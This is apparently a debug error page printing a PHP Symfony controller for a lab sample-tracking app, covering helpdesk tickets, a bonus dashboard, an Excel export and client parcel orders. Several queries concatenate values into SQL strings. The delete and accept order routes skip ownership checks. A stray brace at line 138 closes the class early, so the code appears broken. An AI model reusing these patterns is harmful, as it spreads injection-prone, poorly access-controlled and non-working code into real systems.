src/Controller/DefaultController.php line 287

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\AuBatch;
  4. use App\Entity\CatRequest;
  5. use App\Entity\ClientParcel;
  6. use App\Entity\DISQBatch;
  7. use App\Entity\ElSample;
  8. use App\Entity\Exports;
  9. use App\Entity\FABatch;
  10. use App\Entity\FeedEntry;
  11. use App\Entity\FInventory;
  12. use App\Entity\Helpdesk;
  13. use App\Entity\ICPBatch;
  14. use App\Entity\ICPRun;
  15. use App\Entity\Inventory;
  16. use App\Entity\Invoice;
  17. use App\Entity\Log;
  18. use App\Entity\Moists;
  19. use App\Entity\MonthlyBonus;
  20. use App\Entity\Orders;
  21. use App\Entity\Params;
  22. use App\Entity\PRun;
  23. use App\Entity\RRun;
  24. use App\Entity\Stock;
  25. use App\Entity\StockManagement;
  26. use App\Entity\User;
  27. use App\Service\AuBatchManager;
  28. use Doctrine\ORM\EntityManagerInterface;
  29. use Doctrine\ORM\QueryBuilder;
  30. use Doctrine\ORM\Query;
  31. use Doctrine\ORM\Tools\Pagination\Paginator;
  32. use http\Client;
  33. use phpDocumentor\Reflection\Types\Null_;
  34. use Symfony\Component\HttpFoundation\JsonResponse;
  35. use Symfony\Component\HttpFoundation\Request;
  36. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  37. use Symfony\Component\Routing\Annotation\Route;
  38. use Symfony\Component\HttpFoundation\Response;
  39. use Symfony\Component\HttpFoundation\RedirectResponse;
  40. use Symfony\Component\Serializer\Encoder\JsonEncoder;
  41. use Symfony\Component\Serializer\Encoder\XmlEncoder;
  42. use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
  43. use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
  44. use Symfony\Component\Serializer\Serializer;
  45. use Symfony\Component\HttpFoundation\ResponseHeaderBag;
  46. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  47. use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
  48. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  49. use PhpOffice\PhpSpreadsheet\Spreadsheet;
  50. use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
  51. use PhpOffice\PhpSpreadsheet\Writer\Xls;
  52. use PhpOffice\PhpSpreadsheet\Style\Fill;
  53. use PhpOffice\PhpSpreadsheet\Style\Border;
  54. use PhpOffice\PhpSpreadsheet\Style\Alignment;
  55. use Symfony\Component\HttpFoundation\StreamedResponse;
  56. class DefaultController extends AbstractController
  57. {
  58. /**
  59. * @var EntityManager
  60. */
  61. protected $em;
  62. protected $translator;
  63. protected $passwordEncoder;
  64. public function __construct(EntityManagerInterface $entityManager,UserPasswordEncoderInterface $passwordEncoder)
  65. {
  66. $this->em = $entityManager;
  67. $this->passwordEncoder = $passwordEncoder;
  68. }
  69. private function ensureCurrentMonthExists()
  70. {
  71. $currentDate = new \DateTime();
  72. $currentMonth = (int)$currentDate->format('n');
  73. $currentYear = $currentDate->format('Y');
  74. // Check if current month exists
  75. $existingBonus = $this->getDoctrine()
  76. ->getRepository(MonthlyBonus::class)
  77. ->findOneBy([
  78. 'MonthNo' => $currentMonth,
  79. 'year' => $currentYear
  80. ]);
  81. if (!$existingBonus) {
  82. // Get the most recent bonus record
  83. $lastBonus = $this->getDoctrine()
  84. ->getRepository(MonthlyBonus::class)
  85. ->findOneBy([], ['year' => 'DESC', 'MonthNo' => 'DESC']);
  86. if (!$lastBonus) {
  87. // No records exist, create current month with default target
  88. $newBonus = new MonthlyBonus();
  89. $newBonus->setMonthNo($currentMonth);
  90. $newBonus->setMonthName($currentDate->format('F'));
  91. $newBonus->setYear($currentYear);
  92. $newBonus->setSampleNumber(200);
  93. $newBonus->setActive(true);
  94. $this->em->persist($newBonus);
  95. $this->em->flush();
  96. return;
  97. }
  98. // Get the target from last bonus
  99. $sampleTarget = $lastBonus->getSampleNumber();
  100. // Create all missing months from last existing month to current month
  101. $startDate = new \DateTime($lastBonus->getYear() . '-' . $lastBonus->getMonthNo() . '-01');
  102. $startDate->modify('+1 month'); // Start from next month after last existing
  103. while ($startDate <= $currentDate) {
  104. $monthNo = (int)$startDate->format('n');
  105. $year = $startDate->format('Y');
  106. // Check if this month already exists
  107. $exists = $this->getDoctrine()
  108. ->getRepository(MonthlyBonus::class)
  109. ->findOneBy([
  110. 'MonthNo' => $monthNo,
  111. 'year' => $year
  112. ]);
  113. if (!$exists) {
  114. $newBonus = new MonthlyBonus();
  115. $newBonus->setMonthNo($monthNo);
  116. $newBonus->setMonthName($startDate->format('F'));
  117. $newBonus->setYear($year);
  118. $newBonus->setSampleNumber($sampleTarget);
  119. $newBonus->setActive(false); // Set all to inactive first
  120. $this->em->persist($newBonus);
  121. }
  122. $startDate->modify('+1 month');
  123. }
  124. $this->em->flush();
  125. // Now deactivate ALL months and activate only the current month
  126. $allBonuses = $this->getDoctrine()
  127. ->getRepository(MonthlyBonus::class)
  128. ->findAll();
  129. foreach ($allBonuses as $bonus) {
  130. if ($bonus->getMonthNo() == $currentMonth && $bonus->getYear() == $currentYear) {
  131. $bonus->setActive(true);
  132. } else {
  133. $bonus->setActive(false);
  134. }
  135. }
  136. $this->em->flush();
  137. }
  138. }
  139. /**
  140. * @IsGranted("ROLE_USER")
  141. * @Route("/recent", name="recent")
  142. */
  143. public function recent()
  144. {
  145. return $this->render('cats/recent.html.twig');
  146. }
  147. //=====================================================================================================================================================================================<
  148. /**
  149. * @IsGranted("ROLE_USER")
  150. * @Route("/helpdesk", name="helpdesk")
  151. */
  152. public function helpdesk()
  153. {
  154. $tickets = $this->getDoctrine()->getRepository(Helpdesk::class)->findTicketsSorted();
  155. return $this->render('cats/helpdesk.html.twig', ['tickets' => $tickets]);
  156. }
  157. /**
  158. * @IsGranted("ROLE_USER")
  159. * @Route("/helpdesk/add", name="add_ticket", methods={"POST"})
  160. */
  161. public function addTicket(Request $request, EntityManagerInterface $entityManager) : JsonResponse
  162. {
  163. $data = json_decode($request->getContent(), true);
  164. $ticket = (new Helpdesk())
  165. ->setUser(!empty($data['user']) ? $data['user'] : 'Anonymous')
  166. ->setTitle($data['title'])
  167. ->setIssue($data['issue'])
  168. ->setType($data['type'])
  169. ->setStatus('Open')
  170. ->setPriority('Low')
  171. ->setDateAdded(new \DateTime())
  172. ->setDateModified(new \DateTime());
  173. $entityManager->persist($ticket);
  174. $entityManager->flush();
  175. return new JsonResponse(['message' => 'Ticket created successfully!'], JsonResponse::HTTP_CREATED);
  176. }
  177. /**
  178. * @IsGranted("ROLE_USER")
  179. * @Route("/helpdesk/delete/{id}", name="delete_ticket", methods={"DELETE"})
  180. */
  181. public function deleteTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  182. {
  183. // Check if ticket exists
  184. if (!$ticket) {
  185. return new JsonResponse(['error' => 'Ticket not found'], 404);
  186. }
  187. $entityManager->remove($ticket);
  188. $entityManager->flush();
  189. return new JsonResponse(['message' => 'Ticket deleted successfully'], 200);
  190. }
  191. // Fetch the ticket data by ID
  192. /**
  193. * @IsGranted("ROLE_USER")
  194. * @Route("/helpdesk/edit/{id}", name="helpdesk_edit", methods={"GET"})
  195. */
  196. public function editTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  197. {
  198. if (!$ticket) {
  199. return new JsonResponse(['error' => 'Ticket not found'], JsonResponse::HTTP_NOT_FOUND);
  200. }
  201. // Return ticket data as JSON response
  202. return new JsonResponse([
  203. 'data' => [
  204. 'id' => $ticket->getId(),
  205. 'user' => $ticket->getUser(),
  206. 'title' => $ticket->getTitle(),
  207. 'issue' => $ticket->getIssue(),
  208. 'type' => $ticket->getType(),
  209. 'status' => $ticket->getStatus(),
  210. 'priority' => $ticket->getPriority(),
  211. 'deadline' => $ticket->getDeadline() ? $ticket->getDeadline()->format('Y-m-d') : null
  212. ]
  213. ]);
  214. }
  215. // Update ticket information
  216. /**
  217. * @IsGranted("ROLE_USER")
  218. * @Route("/helpdesk/edit/{id}", name="helpdesk_update", methods={"POST"})
  219. */
  220. public function updateTicket(Helpdesk $ticket, Request $request, EntityManagerInterface $entityManager) : JsonResponse
  221. {
  222. if (!$ticket) {
  223. return new JsonResponse(['error' => 'Ticket not found'], 404);
  224. }
  225. $data = json_decode($request->getContent(), true);
  226. // Update ticket fields
  227. $ticket->setUser($data['user'])
  228. ->setTitle($data['title'])
  229. ->setIssue($data['issue'])
  230. ->setType($data['type'])
  231. ->setStatus($data['status'])
  232. ->setPriority($data['priority'])
  233. ->setDeadline($data['deadline'] ? new \DateTime($data['deadline']) : null)
  234. ->setDateModified(new \DateTime());
  235. if ($data['status'] === 'Closed (Solved)' || $data['status'] === 'Closed (Rejected)'){
  236. $ticket->setDateFinished(new \DateTime());
  237. }
  238. $entityManager->flush();
  239. return new JsonResponse(['message' => 'Ticket updated successfully'], 200);
  240. }
  241. //=====================================================================================================================================================================================<
  242. /**
  243. * @IsGranted("ROLE_USER")
  244. * @Route("/", name="dashboard")
  245. * @param Request $request
  246. * @return Response $response
  247. */
  248. public function index(Request $request)
  249. {
  250. if (in_array("ROLE_LABUSER",$this->getUser()->getRoles())){
  251. // $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  252. $this->ensureCurrentMonthExists();
  253. $month = $request->get("month") ?? null;
  254. $year = $request->get("year") ?? null;
  255. if ($month !=null && $year !=null){
  256. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  257. 'year' => "$year",
  258. "MonthNo" => "$month"
  259. ]);
  260. } else {
  261. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  262. "active" => "1"
  263. ],[
  264. 'id' => 'DESC'
  265. ]);
  266. }
  267. // $qb instanceof QueryBuilder
  268. $qb = $this->em->createQueryBuilder();
  269. $qb->select('count(t.id)');
  270. $qb->from(Inventory::class, 't');
  271. $qb->add('where', "t.dateMilled between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  272. // $qb->where('t.dateFinished > 2020-09-18');
  273. $qb->setMaxResults('1');
  274. $milled = $qb->getQuery()->getSingleScalarResult();
  275. // $qb instanceof QueryBuilder
  276. $qb = $this->em->createQueryBuilder();
  277. $qb->select('count(t.id)');
  278. $qb->from(Inventory::class, 't');
  279. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  280. // $qb->where('t.dateFinished > 2020-09-18');
  281. $qb->setMaxResults('1');
  282. $result = $qb->getQuery()->getSingleScalarResult();
  283. // $qb instanceof QueryBuilder
  284. $qb = $this->em->createQueryBuilder();
  285. $qb->select('count(t.id)');
  286. $qb->from(Moists::class, 't');
  287. $qb->add('where', "t.DateArchived between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  288. // $qb->where('t.dateFinished > 2020-09-18');
  289. $qb->setMaxResults('1');
  290. $moists = $qb->getQuery()->getSingleScalarResult();
  291. $qb1 = $this->em->createQueryBuilder();
  292. $qb1->select('t');
  293. $qb1->from(FABatch::class, 't');
  294. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  295. $anotherresult = $qb1->getQuery()->getResult();
  296. $loginfo= [];
  297. $loginfo2= [];
  298. $batchesdaily = [];
  299. $batchesdaily2 = [];
  300. $anotherresult2 = 0;
  301. $anotherresult4 = 0;
  302. $tasks= [];
  303. foreach ($anotherresult as $x){
  304. array_push($loginfo, $x->getDateFinished()->format('j'));
  305. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  306. $stmt = $this->em->getConnection()->prepare($sql);
  307. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  308. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  309. }
  310. $qb3 = $this->em->createQueryBuilder();
  311. $qb3->select('t');
  312. $qb3->from(ICPBatch::class, 't');
  313. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  314. $anotherresult3 = $qb3->getQuery()->getResult();
  315. foreach ($anotherresult3 as $x){
  316. array_push($loginfo2, $x->getDate()->format('j'));
  317. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  318. $stmt = $this->em->getConnection()->prepare($sql);
  319. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  320. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  321. }
  322. // $fortasks = $this->getDoctrine()->getRepository(PRun::class)->findBy([], ['id'=>'DESC'], 1500);
  323. // $fortasks2 = $this->getDoctrine()->getRepository(RRun::class)->findBy([], ['id'=>'DESC'], 8000);
  324. $tasks['WeighQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Weigh Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Weigh Q']));
  325. $tasks['FAQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'FA Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'FA Q']));
  326. $tasks['CUPQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'CUP Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'CUP Q']));
  327. $tasks['DISQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'DIS Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'DIS Q']));
  328. $tasks['Confirm']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Confirm?'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Confirm?']));
  329. // $tasks['WeighQ']=0;
  330. // $tasks['FAQ']=0;
  331. // $tasks['CUPQ']=0;
  332. // $tasks['DISQ']=0;
  333. // $tasks['Confirm']=0;
  334. // $names = array("WeighQ","FAQ","CUPQ","DISQ","Confirm");
  335. // foreach ($fortasks2 as $x){
  336. // /* @var RRun $x */
  337. // $status = str_replace([' ', '?'], '', $x->getStatus());
  338. //
  339. // if (in_array($status, $names)){
  340. // $tasks[$status] = $tasks[$status] + 1;
  341. // }
  342. // }
  343. //
  344. // foreach ($fortasks as $x){
  345. // /* @var PRun $x */
  346. // $status = str_replace([' ', '?'], '', $x->getStatus());
  347. //
  348. // if (in_array($status, $names)){
  349. // $tasks[$status] = $tasks[$status] + 1;
  350. // }
  351. // }
  352. $loginfo = array_unique($loginfo);
  353. $loginfo2 = array_unique($loginfo2);
  354. //dump($batchesdaily);
  355. //dump($anotherresult);
  356. //dump($anotherresult2);
  357. $batchesdaily3 = [];
  358. $batchesdaily = !$batchesdaily ? $batchesdaily = [1] : $batchesdaily;
  359. $batchesdaily2 = !$batchesdaily2 ? $batchesdaily2 = [1] : $batchesdaily2;
  360. for ($x=1;$x<= ((max(array_keys($batchesdaily)) > max(array_keys($batchesdaily2))) ? max(array_keys($batchesdaily)) :max(array_keys($batchesdaily2)));$x++){
  361. $batchesdaily3[$x]=[ (array_key_exists($x,$batchesdaily) ? $batchesdaily[$x] : 0) , (array_key_exists($x,$batchesdaily2) ? $batchesdaily2[$x] : 0) ];
  362. }
  363. foreach ($batchesdaily3 as $key => $x){
  364. if ($x[0] == 0 and $x[1] == 0){
  365. unset($batchesdaily3[$key]);
  366. }
  367. }
  368. return $this->render('cats/dashboard.html.twig', [
  369. // 'messages' => $messages,
  370. 'bonuses' => $bonuses,
  371. 'data' => $result,
  372. 'data23' => $anotherresult,
  373. 'loginfo' => $loginfo,
  374. 'batchesdaily' => $batchesdaily,
  375. 'test2' => $anotherresult2,
  376. 'icp' => $anotherresult3,
  377. 'icp2' => $batchesdaily2,
  378. 'tasks' => $tasks,
  379. 'shaggin' => $batchesdaily3,
  380. 'milled' => $milled,
  381. 'moists' => $moists
  382. ]);
  383. } else if (in_array("ROLE_CLIENT",$this->getUser()->getRoles())){
  384. $user = $this->getUser();
  385. $country = $user->getCountry();
  386. //$parcels = $user->getClientParcels();
  387. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  388. 'client' => $user
  389. ],[
  390. 'dateadded' => 'DESC'
  391. ]);
  392. return $this->render('cats/clientdashboard.html.twig', [
  393. 'parcels' => $parcels
  394. ]);
  395. } else {
  396. $user = $this->getUser();
  397. $country = $user->getCountry();
  398. //$parcels = $user->getClientParcels();
  399. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  400. 'client' => $user
  401. ],[
  402. 'dateadded' => 'DESC'
  403. ]);
  404. return $this->render('cats/dashboard.html.twig', [
  405. 'parcels' => $parcels
  406. ]);
  407. }
  408. }
  409. /**
  410. * @Security("is_granted('ROLE_SUPER')")
  411. * @Route("/dashboard/export", name="dashboard_export")
  412. */
  413. public function dashboardExport(Request $request): Response
  414. {
  415. $month = (int)($request->get("month") ?? date('n'));
  416. $year = (int)($request->get("year") ?? date('Y'));
  417. // Add date range support
  418. $dateFrom = $request->get("date_from");
  419. $dateTo = $request->get("date_to");
  420. if ($dateFrom && $dateTo) {
  421. $startDate = $dateFrom . " 00:00:00";
  422. $endDate = $dateTo . " 23:59:59";
  423. $fileName = 'CAT_Report_' . str_replace('-', '', $dateFrom) . '_to_' . str_replace('-', '', $dateTo) . '.xlsx';
  424. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('M d, Y', strtotime($dateFrom)) . ' to ' . date('M d, Y', strtotime($dateTo));
  425. } else {
  426. $startDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-01";
  427. $endDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-31 23:59:59";
  428. $fileName = 'CAT_Report_' . $year . '_' . str_pad($month, 2, '0', STR_PAD_LEFT) . '.xlsx';
  429. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('F', mktime(0, 0, 0, $month, 1)) . ' ' . $year;
  430. }
  431. // Main data query
  432. $sql = "
  433. SELECT
  434. i.id AS `ID`,
  435. DATE_FORMAT(i.dateofreceipt, '%Y-%m-%d %H:%i:%s') AS `Date Added`,
  436. DATE_FORMAT(i.date_finished, '%Y-%m-%d %H:%i:%s') AS `Date Finished`,
  437. i.sample_type AS `Type`,
  438. i.sample_sub_type AS `Subtype`,
  439. i.sample_name AS `Sample Reference`,
  440. i.country AS `Country`,
  441. i.exportno AS `Export #`,
  442. o.orderno AS `Assigned Order`,
  443. i.xrfpt AS `XRF PT`,
  444. i.xrfpd AS `XRF PD`,
  445. i.xrfrh AS `XRF RH`,
  446. i.icppt AS `ICP PT`,
  447. i.icppd AS `ICP PD`,
  448. i.icprh AS `ICP RH`,
  449. i.analysis_status AS `Analysis Status`,
  450. COUNT(DISTINCT r.id) AS `Run Count`,
  451. GROUP_CONCAT(DISTINCT r.rrunref ORDER BY r.id SEPARATOR ', ') AS `Run Refs`
  452. FROM
  453. inventory i
  454. LEFT JOIN
  455. rrun r ON r.assigned_sample_id = i.id
  456. LEFT JOIN
  457. orders o ON i.assigned_order_id = o.id
  458. WHERE
  459. i.analysis_status = 'Completed'
  460. AND i.date_finished BETWEEN ? AND ?
  461. GROUP BY i.id
  462. ORDER BY i.date_finished DESC
  463. ";
  464. $results = $this->em->getConnection()->executeQuery($sql, [
  465. $startDate, $endDate
  466. ])->fetchAllAssociative();
  467. // Summary by Sample Type
  468. $summarySQLWithRuns = "
  469. SELECT
  470. i.sample_type,
  471. COUNT(DISTINCT i.id) as total_samples,
  472. COUNT(DISTINCT r.id) as total_runs
  473. FROM
  474. inventory i
  475. LEFT JOIN
  476. rrun r ON r.assigned_sample_id = i.id
  477. WHERE
  478. i.analysis_status = 'Completed'
  479. AND i.date_finished BETWEEN ? AND ?
  480. GROUP BY i.sample_type
  481. ORDER BY i.sample_type
  482. ";
  483. $summaryResults = $this->em->getConnection()->executeQuery($summarySQLWithRuns, [
  484. $startDate, $endDate
  485. ])->fetchAllAssociative();
  486. // Create Spreadsheet
  487. $spreadsheet = new Spreadsheet();
  488. // Sheet 1: Main Data
  489. $sheet1 = $spreadsheet->getActiveSheet();
  490. $sheet1->setTitle('Sample Data');
  491. if (!empty($results)) {
  492. // Headers
  493. $headers = array_keys($results[0]);
  494. $sheet1->fromArray($headers, null, 'A1');
  495. // Style headers
  496. $headerStyle = $sheet1->getStyle('A1:' . $sheet1->getHighestColumn() . '1');
  497. $headerStyle->getFont()->setBold(true);
  498. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  499. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  500. $headerStyle->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER);
  501. // Data
  502. $sheet1->fromArray($results, null, 'A2', true);
  503. // Center all data cells
  504. $lastRow = count($results) + 1;
  505. $lastColumn = $sheet1->getHighestColumn();
  506. $sheet1->getStyle('A2:' . $lastColumn . $lastRow)
  507. ->getAlignment()
  508. ->setHorizontal(Alignment::HORIZONTAL_CENTER);
  509. // Auto-size columns
  510. foreach (range('A', $sheet1->getHighestColumn()) as $col) {
  511. $sheet1->getColumnDimension($col)->setAutoSize(true);
  512. }
  513. }
  514. // Sheet 2: Summary
  515. $sheet2 = $spreadsheet->createSheet();
  516. $sheet2->setTitle('Summary');
  517. $row = 1;
  518. // Build summary table
  519. $sheet2->setCellValue('A' . $row, $reportTitle);
  520. $sheet2->getStyle('A' . $row)->getFont()->setBold(true)->setSize(14);
  521. $row += 2;
  522. // Headers
  523. $sheet2->fromArray(['Sample Type', 'Total Samples', 'Total Runs'], null, 'A' . $row);
  524. $headerStyle = $sheet2->getStyle('A' . $row . ':C' . $row);
  525. $headerStyle->getFont()->setBold(true);
  526. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  527. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  528. $row++;
  529. // Data rows
  530. $totalSamples = 0;
  531. $totalRuns = 0;
  532. foreach ($summaryResults as $result) {
  533. $sheet2->fromArray([
  534. $result['sample_type'],
  535. $result['total_samples'],
  536. $result['total_runs']
  537. ], null, 'A' . $row);
  538. $totalSamples += (int)$result['total_samples'];
  539. $totalRuns += (int)$result['total_runs'];
  540. $row++;
  541. }
  542. $row++;
  543. // Totals
  544. $sheet2->fromArray([
  545. 'TOTALS',
  546. $totalSamples,
  547. $totalRuns
  548. ], null, 'A' . $row);
  549. $sheet2->getStyle('A' . $row . ':C' . $row)->getFont()->setBold(true)->setSize(12);
  550. $sheet2->getStyle('A' . $row . ':C' . $row)->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FFD9D9D9');
  551. // Auto-size columns
  552. foreach (range('A', 'C') as $col) {
  553. $sheet2->getColumnDimension($col)->setAutoSize(true);
  554. }
  555. // Generate Excel file
  556. $writer = new Xlsx($spreadsheet);
  557. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  558. $writer->save($temp_file);
  559. $response = new Response(file_get_contents($temp_file));
  560. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  561. $response->headers->set('Content-Disposition', 'attachment; filename="' . $fileName . '"');
  562. unlink($temp_file);
  563. return $response;
  564. }
  565. //=====================================================================================================================================================================================<
  566. /**
  567. * @IsGranted("ROLE_USER")
  568. * @Route("/eucats", name="eucats")
  569. */
  570. public function eucats()
  571. {
  572. $user = $this->getUser();
  573. $country = $user->getCountry();
  574. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  575. // 'country' => ["UK","FR","DE","IT","SC","IT1","IT2","IT3","NL"],
  576. // 'sampleType' => ["Model","Models"]
  577. // ],[
  578. // 'id' => 'DESC'
  579. // ]);
  580. return $this->render('cats/eucats.html.twig', [
  581. 'samples' => '$samples',
  582. ]);
  583. }
  584. //=====================================================================================================================================================================================<
  585. /**
  586. * @IsGranted("ROLE_USER")
  587. * @Route("/eucatreqs", name="eucatreqs")
  588. */
  589. public function eucatreqs()
  590. {
  591. $user = $this->getUser();
  592. $country = $user->getCountry();
  593. //dump($country);
  594. $reqs=$this->getDoctrine()->getRepository(CatRequest::class)->findBy([
  595. ],[
  596. 'id' => "DESC"
  597. ]);
  598. //dump($reqs);
  599. return $this->render('cats/eucatreqs.html.twig', [
  600. 'reqs' => $reqs
  601. ]);
  602. }
  603. //=====================================================================================================================================================================================<
  604. /**
  605. * @IsGranted("ROLE_USER")
  606. * @Route("/models", name="models")
  607. */
  608. public function models()
  609. {
  610. $usercountry = $this->getUser()->getCountry();
  611. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  612. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  613. // 'country' => $usercountry,
  614. // 'sampleType' => ["Model","Models"]
  615. // ],[
  616. // 'id' => 'DESC'
  617. // ]);
  618. return $this->render('cats/client.html.twig', [
  619. 'searchlists' => $newvar,
  620. ]);
  621. }
  622. //=====================================================================================================================================================================================<
  623. /**
  624. * @IsGranted("ROLE_USER")
  625. * @Route("/client", name="client")
  626. */
  627. public function client()
  628. {
  629. // $usercountry = $this->getUser()->getCountry();
  630. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  631. // 'country' => $usercountry
  632. // ],[
  633. // 'id' => 'DESC'
  634. // ]);
  635. // $samples2=[];
  636. // if (in_array("WC",$usercountry)){
  637. // $samples2 = $this->em
  638. // ->createQuery(
  639. // "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  640. // )
  641. // ->getResult();
  642. // }
  643. // //dump($samples2);
  644. // $samples = array_merge($samples,$samples2);
  645. // return $this->render('cats/client.html.twig', [
  646. // 'samples' => $samples,
  647. // ]);
  648. $usercountry = $this->getUser()->getCountry();
  649. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  650. return $this->render('cats/client.html.twig', [
  651. 'searchlists' => $newvar,
  652. ]);
  653. }
  654. //=====================================================================================================================================================================================<
  655. /**
  656. * @IsGranted("ROLE_USER")
  657. * @Route("/deleteclientorder/{id}", name="deleteclientorder")
  658. * @param int $id
  659. * @param Request $request
  660. * @return Response $response
  661. */
  662. public function deleteclientorder(int $id, Request $request)
  663. {
  664. $order = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  665. 'id' => $id
  666. ]);
  667. //dump($order);
  668. $this->em->remove($order);
  669. $this->em->flush();
  670. return new Response ("ayylmao");
  671. }
  672. //=====================================================================================================================================================================================<
  673. /**
  674. * @IsGranted("ROLE_USER")
  675. * @Route("/acceptclientorder/{id}", name="acceptclientorder")
  676. * @param int $id
  677. * @param Request $request
  678. * @return Response $response
  679. */
  680. public function acceptclientorder(int $id, Request $request)
  681. {
  682. /** @var ClientParcel $clientparcel */
  683. $clientparcel = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  684. 'id' => $id
  685. ]);
  686. if ($clientparcel->getAccepted() == false){
  687. $clientparcel->setAccepted(true);
  688. $this->em->persist($clientparcel);
  689. /** @var Orders $neworder */
  690. $neworder = new Orders();
  691. $neworder->setSender($clientparcel->getSender());
  692. $neworder->setCourrier($clientparcel->getCourrier());
  693. $neworder->setWaybill($clientparcel->getWaybill());
  694. $neworder->setDateOfReceipt(new \DateTime());
  695. $neworder->setStatus("Open");
  696. $neworder->setOrderno("TO NAME");
  697. $this->em->persist($neworder);
  698. foreach($clientparcel->getDataarray() as $j){
  699. $newsample = new Inventory();
  700. $newsample->setAssignedOrder($neworder);
  701. $newsample->setXrfpt(array_key_exists('pt', $j) ? (float)str_replace(",",".",$j["pt"]) : 0);
  702. $newsample->setXrfpd(array_key_exists('pd', $j) ? (float)str_replace(",",".",$j["pd"]) : 0);
  703. $newsample->setXrfrh(array_key_exists('rh', $j) ? (float)str_replace(",",".",$j["rh"]) : 0);
  704. $newsample->setSampleType($j["type"]);
  705. $newsample->setSampleName($j["reference"]);
  706. $newsample->setCountry($j["country"]);
  707. $newsample->setExportno($j["export"]);
  708. $newsample->setDateofreceipt(new \DateTime());
  709. $newsample->setMass((float)str_replace(",",".",$j['mass']));
  710. $newsample->setAddedtocatalogue(false);
  711. $newsample->setPriority('Normal');
  712. $newsample->setMillStatus("Original");
  713. $newsample->setXrfStatus("To Add");
  714. $newsample->setAnalysisStatus("None");
  715. $newsample->setReady(false);
  716. $this->em->persist($newsample);
  717. }
  718. }
  719. $this->em->flush();
  720. return new Response ("ayylmao");
  721. }
  722. //=====================================================================================================================================================================================<
  723. /**
  724. * @IsGranted("ROLE_USER")
  725. * @Route("/clientaddorder", name="clientaddorder")
  726. */
  727. public function clientaddorder(Request $request)
  728. {
  729. if ( $request->isMethod("post") ) {
  730. $user = $this->getUser();
  731. $info = $request->get('info');
  732. $newparcel = new ClientParcel();
  733. $newparcel->setClient($user);
  734. $newparcel->setCourrier($info["courrier"]);
